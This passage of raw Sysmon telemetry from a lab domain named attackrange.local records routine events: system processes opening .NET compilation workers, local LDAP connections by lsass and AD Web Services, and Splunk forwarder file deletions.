indows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.084{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6C-613B-C909-00000000F001}1272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.071{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6C-613B-C909-00000000F001}1272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.071{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6C-613B-C909-00000000F001}1272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.031{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6C-613B-C809-00000000F001}6916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.021{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6C-613B-C809-00000000F001}6916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:00.021{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6C-613B-C809-00000000F001}6916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000044746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.510{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59263-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000044745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.510{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59263-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000044808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=56FE0597D2BA9D247AC5FE240D06B064,SHA256=6F5494C5CEFD7340830500D7E1A7E0BFDD6D0278715619157B40ED19CC686070,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000044807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9A33DC87A95BE68A13A273836B59222E,SHA256=73D457649140FDB720A2952D0EBA0AE3BFACB8FBA3A806722F44C6898A758FA4,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.886{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6D-613B-D909-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.864{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6D-613B-D909-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.864{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6D-613B-D909-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.754{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6D-613B-D809-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013976Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:01.634{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=94DF3FD90E0ED67BEFB6645DD0583ADD,SHA256=BAECAD2FC322876FC8E6D6CA75642163A061D0AC2BD5FE08FABD855A1A8151B7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.744{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6D-613B-D809-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.744{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6D-613B-D809-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.603{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6D-613B-D709-00000000F001}6228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.591{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6D-613B-D709-00000000F001}6228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.591{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6D-613B-D709-00000000F001}6228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.533{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6D-613B-D609-00000000F001}4784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.513{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6D-613B-D609-00000000F001}4784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.513{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6D-613B-D609-00000000F001}4784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.463{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6D-613B-D509-00000000F001}6876C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.443{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6D-613B-D509-00000000F001}6876C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:01.443{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6D-613B-D509-00000000F001}6876C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 